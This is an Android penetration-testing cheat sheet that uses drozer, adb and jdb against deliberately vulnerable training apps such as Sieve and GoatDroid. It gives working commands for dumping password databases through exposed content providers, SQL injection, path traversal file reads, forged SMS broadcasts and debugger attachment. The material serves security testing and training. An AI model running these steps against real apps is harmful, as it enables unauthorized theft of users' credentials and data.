Android-cheat sheet

AndroidesecPt.html

starting a drozer session

$ adb forward tcp:31415 tcp:31415

connecting a drozer

$ drozer console connect

Retrieving Package Information

dz> run app.package.list -f sieve

We can ask drozer to provide some basic information about the package using the `app.package.info` command

dz> run app.package.info -a com.mwr.example.sieve

Identify the Attack Surface

dz> run app.package.attacksurface com.mwr.example.sieve

Launching Activities

dz> run app.activity.info -a com.mwr.example.sieve

Package: com.mwr.example.sieve 
com.mwr.example.sieve.FileSelectActivity 
com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList

Since this activity is exported and does not require any permission, we can ask drozer to launch it:

dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList 


Reading from Content Providers


dz>run app.provider.info -a com.mwr.example.sieve

Database-backed Content Providers (Data Leakage)

drozer provides a scanner module that brings together various ways to guess paths and divine a list of accessible content URIs:

dz> run scanner.provider.finduris -a com.mwr.example.sieve 
Scanning com.mwr.example.sieve... 
Unable to Query content://com.mwr.example.sieve.DBContentProvider/ ... 
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys 
Accessible content URIs: 
content://com.mwr.example.sieve.DBContentProvider/Keys/ 
content://com.mwr.example.sieve.DBContentProvider/Passwords 
content://com.mwr.example.sieve.DBContentProvider/Passwords/

We can now use other drozer modules to retrieve information from those content URIs, or even modify the data in the database:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical 
id: 1 
service: Email 
username: incognitoguy50 
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== (Base64-encoded) email: [email protected]


Database-backed Content Providers (SQL Injection)

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

Android returns a very verbose error message, showing the entire query that it tried to execute.
We can fully exploit this vulnerability to list all tables in the database:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--" 
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

File System-backed Content Providers
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

to dump the db to local machine

dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data /data/com.mwr.example.sieve/databases/database.db /home/user/database.db 

Content Provider Vulnerabilities
dz> run scanner.provider.injection -a com.mwr.example.sieve 
Scanning com.mwr.example.sieve... 
Injection in Projection: 
content://com.mwr.example.sieve.DBContentProvider/Keys/ 
content://com.mwr.example.sieve.DBContentProvider/Passwords 
content://com.mwr.example.sieve.DBContentProvider/Passwords/ 
Injection in Selection: 
content://com.mwr.example.sieve.DBContentProvider/Keys/ 
content://com.mwr.example.sieve.DBContentProvider/Passwords 
content://com.mwr.example.sieve.DBContentProvider/Passwords/ 

to test LFI OR file path travesals  Or reading local files via vulnerble content providers in the app

dz> run scanner.provider.traversal -a com.mwr.example.sieve 
Scanning com.mwr.example.sieve... 
Vulnerable Providers: 
content://com.mwr.example.sieve.FileBackupProvider/ 
content://com.mwr.example.sieve.FileBackupProvider


to read 
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

Interacting with Services

dz> run app.service.info -a com.mwr.example.sieve

Unintended Data Leakage


 pidcat

$ pidcat com.mwr.example.sieve

Insecure Data Storage

root@cancro:/data/data/com.jianguo.funcontrol/shared_prefs # ls -al
ls -al
-rw-rw---- u0_a216  u0_a216       124 2015-12-19 13:51 AGREE_PROTOCOL.xml
-rw-rw---- u0_a216  u0_a216       799 2016-02-06 18:42 CoreServicePrefs.xml
-rw-rw---- u0_a216  u0_a216       127 2016-01-31 17:09 WebViewChromiumPrefs.xml
-rw-rw---- u0_a216  u0_a216       226 2016-02-06 17:09 com.iflytek.msc.xml
-rw-rw---- u0_a216  u0_a216       133 2016-01-31 17:09 com.jianguo.funcontrol_preferences.xml
-rw-rw---- u0_a216  u0_a216     72801 2016-02-06 17:09 moive.sp.xml
-rw-rw---- u0_a216  u0_a216       942 2016-02-06 18:42 umeng_general_config.xml

root@cancro:/data/data/com.mwr.example.sieve # ls -al
ls -al
drwxrwx--x u0_a188  u0_a188           2015-08-03 20:51 cache
drwxrwx--x u0_a188  u0_a188           2016-06-30 00:02 code_cache
drwxrwx--x u0_a188  u0_a188           2014-08-01 22:32 databases
lrwxrwxrwx root     root              2016-06-29 22:36 lib -> /data/app-lib/com.mwr.example.sieve-1


Insufficient Transport Layer Protection

Burp Suite 

Unintended Data Leakage
# String enetered: 123456

pidcat com.mwr.example.sieve

root@ubuntu:~# pidcat.py com.mwr.example.sieve

 art  I  Late-enabling -Xcheck:jni
         BoostFramework  V  mAcquireFunc method = public int com.qualcomm.qti.Performance.perfLockAcquire(int,int
                            [])
                         V  mReleaseFunc method = public int com.qualcomm.qti.Performance.perfLockRelease()
                         V  mAcquireTouchFunc method = public int com.qualcomm.qti.Performance.perfLockAcquireTou
                            ch(android.view.MotionEvent,android.util.DisplayMetrics,int,int[])
                         V  mIOPStart method = public int com.qualcomm.qti.Performance.perfIOPrefetchStart(int,ja
                            va.lang.String)
                         V  mIOPStop method = public int com.qualcomm.qti.Performance.perfIOPrefetchStop()
                         V  BoostFramework() : mPerf = com.qualcomm.qti.Performance@817a13
                         V  BoostFramework() : mPerf = com.qualcomm.qti.Performance@804f450
         OpenGLRenderer  D  Use EGL_SWAP_BEHAVIOR_PRESERVED: true
             Adreno-EGL  I  <qeglDrvAPI_eglInitialize:379>: EGL 1.4 QUALCOMM build: Nondeterministic_AU_msm8974_L
                            A.BF.1.1.3_RB1__release_AU (Ia10634f51b)
                         I  OpenGL ES Shader Compiler Version: E031.29.00.00
                         I  Build Date: 01/10/16 Sun
                         I  Local Branch: mybranch17687478
                         I  Remote Branch: quic/LA.BF.1.1.3_rb1.8
                         I  Local Patches: NONE
                         I  Reconstruct Branch: NOTHING
         OpenGLRenderer  I  Initialized EGL, version 1.4
         ActivityThread  D  Loading provider com.mwr.example.sieve.DBContentProvider: com.mwr.example.sieve.DBCon
                            tentProvider
            m_MainLogin  D  String enetered: 123456
               Timeline  I  Timeline: Activity_launch_request time:7110102
         BoostFramework  V  BoostFramework() : mPerf = com.qualcomm.qti.Performance@c941a0f

Attacking Services

dz> run app.service.info --package org.owasp.goatdroid.fourgoats
Package: org.owasp.goatdroid.fourgoats
  org.owasp.goatdroid.fourgoats.services.LocationService
    Permission: null

Attacking Activities

The components listed in the AndroidManifest.xml file
dz>  org.owasp.goatdroid.fourgoats -u
Package: org.owasp.goatdroid.fourgoats
  Exported Activities:
    org.owasp.goatdroid.fourgoats.activities.Main
    org.owasp.goatdroid.fourgoats.activities.ViewCheckin
    org.owasp.goatdroid.fourgoats.activities.ViewProfile
    org.owasp.goatdroid.fourgoats.activities.SocialAPIAuthentication

Activate the component
dz> run app.activity.start --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.activities.ViewProfile

Attacking Broadcast Receivers


dz> run app.broadcast.info --package org.owasp.goatdroid.fourgoats
Package: org.owasp.goatdroid.fourgoats
  org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver
    Permission: null

If you would see in the AndroidManifest.xml file of FourGoats application then you will find action name is org.owasp.goatdroid.fourgoats.SOCIAL_SMS and component name as org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver . So we have to set these parameters in drozer accordingly.

dz> run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver --extra string phoneNumber 1234 --extra string message "it's test"

or directly use 

adb shell 
 

am broadcast -a theBroadcast -n com.android.insecurebankv2/com.android.insecurebankv2.MyBroadCastReceiver --es phonenumber 5554 –es newpass qwreet@123! 


Exploiting Debuggable Applications

$ adb jdwp
347
602
710
724
737
811
929
1202
1320
1362
1383
1405
1931
2022
2207
2222
2239
2253
2269
2283
2310

$ adb shell ps | grep '1931'
u0_a59    1931  177   572536 33484 ffffffff b769007b S com.mwr.example.sieve:remote

C:\Users\syandava\Desktop\sieve\dist
$ adb shell ps | grep sieve
u0_a59    1320  177   570756 43612 ffffffff b769007b S com.mwr.example.sieve
u0_a59    1931  177   572536 33484 ffffffff b769007b S com.mwr.example.sieve:remote


$ adb shell
root@vbox86p:/ # run-as com.mwr.example.sieve
run-as com.mwr.example.sieve
root@vbox86p:/data/data/com.mwr.example.sieve $ ls -l
ls -l
drwxrwx--x u0_a59   u0_a59            2017-12-05 06:24 cache
drwxrwx--x u0_a59   u0_a59            2017-12-05 06:24 databases
lrwxrwxrwx install  install           2017-12-05 22:42 lib -> /data/app-lib/com.mwr.example.sieve-1
root@vbox86p:/data/data/com.mwr.example.sieve $ exit
exit
root@vbox86p:/ # exit
exit

C:\Users\syandava\Desktop\sieve\dist
$ adb shell  run-as com.mwr.example.sieve /data/data/
run-as: exec failed for /data/data/ Error:Permission denied


 And Some other ways 

$ adb jdwp

Next we'll need to forward our debugging session to a port we can connect to with our debugger: 
$adb forward tcp:8000 jdwp:498 
Finally we can attach the debugger with:
$jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8000